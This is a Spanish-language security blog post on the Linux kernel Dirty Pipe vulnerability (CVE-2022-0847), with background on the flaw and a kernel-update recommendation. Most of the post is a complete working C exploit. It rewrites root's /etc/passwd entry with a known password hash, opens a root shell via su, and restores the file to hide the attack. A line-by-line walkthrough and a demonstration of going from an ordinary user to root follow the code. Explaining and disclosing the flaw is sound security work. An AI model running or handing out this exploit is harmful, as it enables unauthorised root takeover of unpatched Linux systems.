Skip links

Vulnerabilidad Dirty PIPE CVE-2022-0847

Vulnerabilidad Dirty PIPE CVE-2022-0847

Dirty Pipe es una vulnerabilidad de escalada de privilegios en el kernel de Linux que permite a un atacante escribir datos en archivos que deberían ser de solo lectura. Esto es posible debido a un fallo en cómo el kernel maneja las tuberías (pipes) en combinación con su sistema de paginación.

Esta vulnerabilidad es especialmente peligrosa porque permite la manipulación directa de archivos protegidos, lo que facilita la creación de usuarios con privilegios de root o simplemente agregarle una nueva contraseña a usuarios administradores. Fue descubierta en 2022 y es similar en concepto a la vulnerabilidad Dirty COW, pero más fácil de explotar.

 

Clase de vulnerabilidad:

–  Vulnerabilidad de escalada de privilegios locales.

 

Origen del problema:

–  Dirty Pipe explota un error en la implementación del mecanismo de manejo de tuberías (pipes) del kernel de Linux. Este problema ocurre al combinar operaciones de lectura y escritura en tuberías que comparten páginas de memoria subyacentes.

 

¿Cómo funciona?:

– En Linux, las tuberías son una estructura para manejar datos entre procesos. El kernel optimiza estas operaciones usando páginas de memoria compartida.

– Debido a un error en el código del kernel, un atacante puede escribir datos arbitrarios en una página compartida, incluso cuando esa página está vinculada a un archivo de solo lectura.

– Esto permite al atacante modificar archivos protegidos directamente.

 

Impacto:

– Permite escalar privilegios escribiendo en archivos críticos como:

    • /etc/passwd: para agregar usuarios con privilegios root.
    • Binarios de sistema: para insertar código malicioso.

 

– Facilita la creación de backdoors persistentes.

 

Versiones afectadas:

– Kernel de Linux desde la versión 5.8 hasta la 5.16.11.

– Las distribuciones afectadas incluyen Ubuntu, Debian, Fedora, CentOS y otros sistemas basados en Linux.

Código para PoC:

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann 
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();
	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];
	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}
	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}
	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}
int main() {
	const char *const path = "/etc/passwd";
        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");
        if (f1 == NULL) {
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }
        char c;
        while ((c = fgetc(f1)) != EOF)
            fputc(c, f2);
        fclose(f1);
        fclose(f2);
	loff_t offset = 4; // after the "root"
	const char *const data = ":$6$root$xgJsQ7yaob86QFGQQYOK0UUj.tXqKn0SLwPRqCaLs19pqYr0p1euYYLqIC6Wh2NyiiZ0Y9lXJkClRiZkeB/Q.0:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt root piped 
        printf("Setting root password to \"piped\"...\n");
	const size_t data_size = strlen(data);
	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}
	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}
	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}
	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}
	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}
	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}
	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);
	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}
	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}
	char *argv[] = {"/bin/sh", "-c", "(echo piped; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);
        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}


1. Respaldo del Archivo /Etc/Passwd

El script comienza creando una copia de seguridad de /etc/passwd en /tmp/passwd.bak. Esto es crucial porque /etc/passwd es un archivo crítico que define a los usuarios del sistema. Si algo sale mal, el script restaura el archivo original desde esta copia.

– Abre /etc/passwd en modo lectura (fopen(«/etc/passwd», «r»)) y /tmp/passwd.bak en modo escritura.

– Copia el contenido de /etc/passwd carácter por carácter usando un bucle while.

2. Definición de los datos que se quieren escribir

El exploit define los datos que sobrescribirá parte del archivo /etc/passwd. Específicamente:

const char *const data = 
":$6$root$xgJsQ7yaob86QFGQQYOK0UUj.tXqKn0SLwPRqCaLs19pqYr0p1euYYLqIC6Wh2NyiiZ0Y9lXJkClRiZkeB/Q.0:0:0:test:/root:/bin/sh\n";

Esto representa una entrada modificada para el usuario root, asignándole una nueva contraseña cifrada (piped) y configurando su shell como /bin/sh. Este dato reemplazará parte de la entrada original de root en /etc/passwd.

3. Preparación

La función prepare_pipe() crea una tubería especial con buffers (pipe_buffer) configurados con el flag PIPE_BUF_FLAG_CAN_MERGE. Este flag permitirá escribir en la caché de páginas del archivo más adelante.

  • Llena completamente la tubería con datos ficticios.
  • Luego, la vacía, dejando los buffers disponibles pero con el flag CAN_MERGE Esto es un requisito para explotar la vulnerabilidad.

4. Validación de offset y restricciones del exploit

El script configura el offset (4 bytes después del inicio del archivo /etc/passwd, justo después de la palabra «root») donde se insertarán los nuevos datos. Se realizan varias verificaciones:

  • No cruzar los límites de una página de memoria: La escritura no puede comenzar ni terminar en el límite de una página (definido por PAGE_SIZE, generalmente 4096 bytes).
  • No exceder el tamaño del archivo: El nuevo contenido debe caber dentro del archivo sin ampliarlo.

Si alguna de estas condiciones no se cumple, el script finaliza.

5. Modificación de la caché de páginas

El script utiliza un truco para sobrescribir la caché de páginas del archivo:

1. Abrir /etc/passwd en modo de solo lectura: Aunque el archivo está protegido contra escritura, esto no importa porque la vulnerabilidad opera en la caché de páginas, no directamente en el disco.

2. Realizar un splice: Se toma un byte del archivo a partir del offset especificado y se pasa a la tubería preparada. Este paso vincula la página de memoria del archivo con el buffer de la tubería.

3. Escribir en la tubería: Luego, los datos definidos (data) se escriben en la tubería. Debido al flag PIPE_BUF_FLAG_CAN_MERGE, esto modifica directamente la caché de páginas del archivo. Ahora, cualquier programa que lea /etc/passwd verá la versión modificada.

6. Elevar privilegios y restaurar el archivo

Una vez modificado /etc/passwd, el script intenta abrir una shell con privilegios administrativos:

  • Llama al comando su para iniciar sesión como root usando la nueva contraseña (piped).
  • Tras abrir la shell, restaura el archivo /etc/passwd desde la copia de seguridad (/tmp/passwd.bak) para ocultar el rastro del ataque.

Si todo sale bien, el atacante tiene acceso como root, y el sistema vuelve a su estado original, pero el daño ya está hecho.

EXPLOTACIÓN:

Vemos que el usuario actualmente es soc:

Mostramos el archivo passwd:

Ejecutamos el exploit, el cual le cambia la contraseña a root y le asigna la palabra “piped” como pass:

Si vemos ahora el archivo passwd, se observa que posee un nuevo hash de contraseña:

Nos transformamos en usuario root, el mismo nos pide contraseña y si ingresamos “piped”, vemos que ahora somos usuario root (administrador):

 

Como se puede apreciar, una vez dentro del equipo, es muy simple hacer una escalada de privilegios si el sistema presenta esta vulnerabilidad y este comportamiento es muy difícil de detectar o prevenir, por lo que recomendamos fuertemente hacer una actualización de kernel a versiones no vulnerables.